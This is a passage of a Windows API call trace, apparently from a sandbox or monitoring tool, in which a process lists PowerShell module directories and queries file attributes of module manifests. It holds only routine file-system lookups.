lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.821] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0193.821] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.821] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0193.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0193.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e860) returned 1 [0193.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599eb24 | out: lpFileInformation=0x599eb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0193.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e85c) returned 1 [0193.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0193.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0193.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0193.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0193.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e884) returned 1 [0193.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25702ec | out: lpFileInformation=0x25702ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0193.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e880) returned 1 [0193.823] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0193.823] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0193.823] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0193.823] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0193.823] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0193.823] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0193.827] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0193.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.828] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0193.828] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0193.828] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.828] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.828] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0193.828] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0193.828] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0193.829] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0193.829] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0193.829] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0193.829] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0193.829] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0193.829] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0193.829] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0193.829] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0193.830] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0193.830] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0193.830] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0193.830] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0193.830] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.830] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.830] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0193.831] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0193.831] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0193.831] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0193.831] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0193.832] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0193.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0193.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0193.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.832] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0193.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0193.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0193.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.865] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0193.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0193.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.865] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0193.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0193.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.866] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0193.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0193.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.866] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: 